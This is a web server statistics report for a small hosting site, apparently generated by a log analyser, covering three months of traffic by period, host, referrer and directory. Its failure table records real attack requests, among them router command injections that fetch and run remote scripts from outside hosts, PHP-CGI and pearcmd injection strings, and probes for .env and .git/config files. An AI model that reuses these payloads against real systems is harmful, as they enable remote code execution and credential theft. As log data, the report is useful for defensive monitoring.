Program started at Thu-13-Mar-2025 00:01.
Analysed requests from Fri-13-Dec-2024 00:00 to Thu-13-Mar-2025 00:00 (90.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 13-Mar-2025 00:01.
Successful requests: 1,120,172 (89,779)
Average successful requests per day: 12,446 (12,825)
Successful requests for pages: 220,203 (17,523)
Average successful requests for pages per day: 2,446 (2,503)
Failed requests: 271,148 (22,209)
Redirected requests: 55,595 (4,731)
Distinct files requested: 66,232 (66,079)
Distinct hosts served: 17,591 (2,419)
Corrupt logfile lines: 25,394
Unwanted logfile entries: 90,241,173
Data transferred: 41.67 gigabytes (4.65 gigabytes)
Average data transferred per day: 474.06 megabytes (680.59 megabytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the activity in each month.
Each unit () represents 2,000 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Dec 2024 | 254687 | 45557 | ![]() ![]() ![]() ![]() |
Jan 2025 | 342248 | 76324 | ![]() ![]() ![]() ![]() |
Feb 2025 | 352884 | 68143 | ![]() ![]() ![]() |
Mar 2025 | 170353 | 30179 | ![]() |
Busiest month: Jan 2025 (76,324 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the activity in each week.
Each unit () represents 500 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
8/Dec/24 | 5247 | 4708 | ![]() ![]() |
15/Dec/24 | 84245 | 16605 | ![]() ![]() |
22/Dec/24 | 87939 | 16943 | ![]() ![]() |
29/Dec/24 | 88310 | 16987 | ![]() ![]() |
5/Jan/25 | 85519 | 17766 | ![]() ![]() |
12/Jan/25 | 88810 | 17257 | ![]() ![]() ![]() |
19/Jan/25 | 27992 | 16858 | ![]() ![]() |
26/Jan/25 | 131386 | 17023 | ![]() ![]() ![]() |
2/Feb/25 | 59874 | 16761 | ![]() ![]() |
9/Feb/25 | 84127 | 16242 | ![]() ![]() |
16/Feb/25 | 182945 | 17541 | ![]() ![]() |
23/Feb/25 | 26295 | 17806 | ![]() ![]() |
2/Mar/25 | 85934 | 17501 | ![]() ![]() |
9/Mar/25 | 81549 | 10205 | ![]() ![]() ![]() |
Busiest week: week beginning 23/Feb/25 (17,806 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the activity in each day.
Each unit () represents 80 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
31/Jan/25 | 2602 | 2301 | ![]() ![]() ![]() ![]() |
1/Feb/25 | 2513 | 2266 | ![]() ![]() ![]() ![]() |
2/Feb/25 | 2601 | 2267 | ![]() ![]() ![]() ![]() |
3/Feb/25 | 43484 | 2607 | ![]() ![]() |
4/Feb/25 | 2862 | 2435 | ![]() ![]() ![]() ![]() ![]() |
5/Feb/25 | 2871 | 2373 | ![]() ![]() ![]() ![]() |
6/Feb/25 | 2776 | 2440 | ![]() ![]() ![]() ![]() ![]() |
7/Feb/25 | 2750 | 2331 | ![]() ![]() ![]() ![]() |
8/Feb/25 | 2530 | 2308 | ![]() ![]() ![]() ![]() |
9/Feb/25 | 2518 | 2253 | ![]() ![]() ![]() ![]() |
10/Feb/25 | 68461 | 2483 | ![]() |
11/Feb/25 | 2558 | 2271 | ![]() ![]() ![]() ![]() |
12/Feb/25 | 2696 | 2279 | ![]() ![]() ![]() ![]() |
13/Feb/25 | 2643 | 2299 | ![]() ![]() ![]() ![]() |
14/Feb/25 | 2601 | 2293 | ![]() ![]() ![]() ![]() |
15/Feb/25 | 2650 | 2364 | ![]() ![]() ![]() ![]() |
16/Feb/25 | 58241 | 2691 | ![]() ![]() |
17/Feb/25 | 110693 | 2530 | ![]() |
18/Feb/25 | 2838 | 2491 | ![]() |
19/Feb/25 | 2768 | 2369 | ![]() ![]() ![]() ![]() |
20/Feb/25 | 2941 | 2507 | ![]() |
21/Feb/25 | 2759 | 2492 | ![]() |
22/Feb/25 | 2705 | 2461 | ![]() ![]() ![]() ![]() ![]() |
23/Feb/25 | 2766 | 2482 | ![]() |
24/Feb/25 | 8669 | 2505 | ![]() |
25/Feb/25 | 2953 | 2434 | ![]() ![]() ![]() ![]() ![]() |
26/Feb/25 | 3259 | 2864 | ![]() ![]() |
27/Feb/25 | 2947 | 2525 | ![]() |
28/Feb/25 | 2831 | 2523 | ![]() |
1/Mar/25 | 2870 | 2473 | ![]() ![]() ![]() ![]() ![]() |
2/Mar/25 | 2786 | 2495 | ![]() |
3/Mar/25 | 68638 | 2650 | ![]() ![]() |
4/Mar/25 | 3079 | 2556 | ![]() |
5/Mar/25 | 3196 | 2478 | ![]() ![]() ![]() ![]() ![]() |
6/Mar/25 | 2857 | 2504 | ![]() |
7/Mar/25 | 2740 | 2435 | ![]() ![]() ![]() ![]() ![]() |
8/Mar/25 | 2638 | 2383 | ![]() ![]() ![]() ![]() |
9/Mar/25 | 7103 | 2468 | ![]() ![]() ![]() ![]() ![]() |
10/Mar/25 | 68458 | 2496 | ![]() |
11/Mar/25 | 2735 | 2415 | ![]() ![]() ![]() ![]() ![]() |
12/Mar/25 | 3250 | 2823 | ![]() ![]() |
13/Mar/25 | 3 | 3 | ![]() |
Busiest day: 26/Feb/25 (2,864 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 800 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 369555 | 31790 | ![]() ![]() |
Mon | 496063 | 32343 | ![]() ![]() ![]() |
Tue | 40029 | 31632 | ![]() ![]() |
Wed | 37721 | 32391 | ![]() ![]() ![]() |
Thu | 107272 | 29930 | ![]() ![]() ![]() |
Fri | 35154 | 31254 | ![]() ![]() |
Sat | 34378 | 30863 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 250 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 48973 | 9344 | ![]() ![]() ![]() |
1 | 53463 | 9203 | ![]() ![]() ![]() |
2 | 48260 | 8871 | ![]() ![]() |
3 | 44124 | 8883 | ![]() ![]() |
4 | 44745 | 9028 | ![]() ![]() ![]() |
5 | 45829 | 8989 | ![]() ![]() |
6 | 48549 | 9053 | ![]() ![]() ![]() |
7 | 49203 | 9035 | ![]() ![]() ![]() |
8 | 52431 | 9332 | ![]() ![]() ![]() |
9 | 54301 | 9965 | ![]() ![]() |
10 | 43765 | 9330 | ![]() ![]() ![]() |
11 | 21960 | 9035 | ![]() ![]() ![]() |
12 | 49317 | 9011 | ![]() ![]() ![]() |
13 | 35088 | 9158 | ![]() ![]() ![]() |
14 | 13543 | 9007 | ![]() ![]() ![]() |
15 | 14164 | 9109 | ![]() ![]() ![]() |
16 | 38356 | 9228 | ![]() ![]() ![]() |
17 | 53300 | 9433 | ![]() ![]() ![]() |
18 | 49234 | 9102 | ![]() ![]() ![]() |
19 | 83070 | 9179 | ![]() ![]() ![]() |
20 | 80693 | 8956 | ![]() ![]() |
21 | 47540 | 9369 | ![]() ![]() ![]() |
22 | 47883 | 9232 | ![]() ![]() ![]() |
23 | 52381 | 9351 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
1119371 | 100% | [unresolved numerical addresses] |
801 | [domain not given] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
425031 | 0.70% | 34 |
292825 | 1.41% | 52 |
108346 | 0.12% | 66.39 |
66889 | 0.90% | 20 |
66507 | 0.11% | 3 |
65524 | 0.04% | 127 |
21018 | 0.38% | 146.70 |
4566 | 0.03% | 185.24 |
2895 | 0.12% | 95 |
2316 | 0.02% | 193.68 |
2306 | 0.04% | 43 |
2137 | 0.70% | 45 |
2078 | 1.11% | 66.249 |
1510 | 0.12% | 46 |
1150 | 0.81% | 35 |
1121 | 0.01% | 179.43 |
1110 | 3.35% | 104 |
956 | 0.28% | 51 |
941 | 0.01% | 167.94 |
900 | 0.01% | 146.19 |
50046 | 89.73% | [not listed: 2,166 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
65677 | 0.06% | 3.248.77.100 |
391 | 0.01% | 4.227.36.77 |
715 | 0.01% | 5.181.190.248 |
319 | 0.07% | 20.171.207.18 |
66005 | 0.62% | 20.171.207.45 |
340 | 0.09% | 20.171.207.103 |
235630 | 0.21% | 34.250.12.251 |
187776 | 0.17% | 34.253.55.27 |
319 | 45.148.10.90 | |
1064 | 0.01% | 46.19.138.234 |
555 | 0.14% | 51.254.59.113 |
65675 | 0.06% | 52.16.60.102 |
82163 | 0.07% | 52.48.53.149 |
78919 | 0.07% | 52.209.144.229 |
65677 | 0.06% | 52.211.12.96 |
73692 | 0.07% | 66.39.2.218 |
34654 | 0.05% | 66.39.2.219 |
409 | 2.64% | 71.255.73.179 |
722 | 0.01% | 80.82.77.202 |
329 | 80.94.93.191 | |
629 | 0.01% | 92.255.57.58 |
535 | 93.174.93.12 | |
671 | 0.01% | 95.214.53.205 |
252 | 95.214.55.32 | |
571 | 0.01% | 95.214.55.43 |
238 | 95.214.55.79 | |
309 | 95.214.55.226 | |
308 | 109.236.61.115 | |
65524 | 0.04% | 127.0.0.1 |
239 | 0.46% | 136.158.49.173 |
562 | 141.98.11.155 | |
311 | 141.255.166.90 | |
689 | 0.01% | 146.19.24.168 |
4073 | 0.07% | 146.70.116.108 |
4997 | 0.04% | 146.70.116.120 |
7477 | 0.06% | 146.70.116.152 |
4427 | 0.03% | 146.70.116.184 |
867 | 0.01% | 179.43.191.146 |
312 | 185.16.39.104 | |
4566 | 0.03% | 185.24.11.147 |
497 | 185.191.126.213 | |
754 | 0.01% | 185.196.220.253 |
306 | 185.242.226.116 | |
467 | 193.34.212.75 | |
1589 | 0.01% | 193.68.89.10 |
699 | 0.01% | 193.68.89.51 |
705 | 0.01% | 195.3.223.55 |
281 | 195.178.110.163 | |
340 | 204.76.203.15 | |
532 | ::1 | |
55414 | 94.74% | [not listed: 17,541 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
3185 | http://www.centralhba.com/ |
730 | http://centralhba.com/ |
568 | https://www.google.com/ |
520 | http://216.92.171.40/ |
280 | http://filmarthba.com/ |
273 | http://66.39.72.219/ |
133 | http://primedist.com/ |
101 | http://ezhandlingnj.com/ |
101 | https://forums.gamershood.com/ |
70 | android-app://com.google.android.gm/ |
55 | https://www.bing.com/ |
47 | http://www.filmarthba.com/ |
27 | http://baidu.com/ |
24 | https://mail.yahoo.com/ |
356 | [not listed: 129 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
242337 | 97.74% | [root directory] |
282974 | 0.59% | /clonefilmart/ |
210789 | 0.58% | /digiexpo/ |
189441 | 0.53% | /filmart/ |
187724 | 0.51% | /jandlphoto/ |
59 | 0.02% | http:// |
6848 | 0.02% | [not listed: 13 directories] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
27140 | / |
254 | /?XDEBUG_SESSION_START=phpstorm |
57 | /?author=1 |
25 | /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 |
25 | /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 |
21 | /?phpinfo=1 |
15 | /?phpinfo=-1 |
11 | /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input |
13333 | /x16/x03/x01 |
11168 | /favicon.ico |
6865 | /.env |
5089 | /x16/x03/x01/x05/xa8/x01 |
3027 | /robots.txt |
2363 | /cgi-bin/luci/ |
399 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
155 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.163.215.73/moo+-O-+|+sh`) |
114 | /cgi-bin/luci/?form=country&operation=read |
14 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://banthis.su/t|sh%3B`) |
2159 | /x16/x03/x02/x01o/x01 |
2146 | /.git/config |
1641 | /index.php |
473 | /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello |
472 | /index.php?lang=../../../../../../../../tmp/index1 |
472 | /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php |
72 | /index.php?lang=en |
1500 | * |
1362 | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
1113 | /login.rsp |
1023 | /bin/sh |
1021 | /x03 |
919 | /n |
899 | /_profiler/phpinfo |
838 | /actuator/gateway/routes |
819 | /geoserver/web/ |
781 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
737 | /sitemap.xml |
674 | /x16/x03/x01/x02 |
644 | /wordpress |
644 | /wp |
632 | /old |
628 | /new |
614 | /main |
609 | /backup |
608 | /hello.world |
608 | /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input |
607 | /home |
178791 | [not listed: 17,401 files] |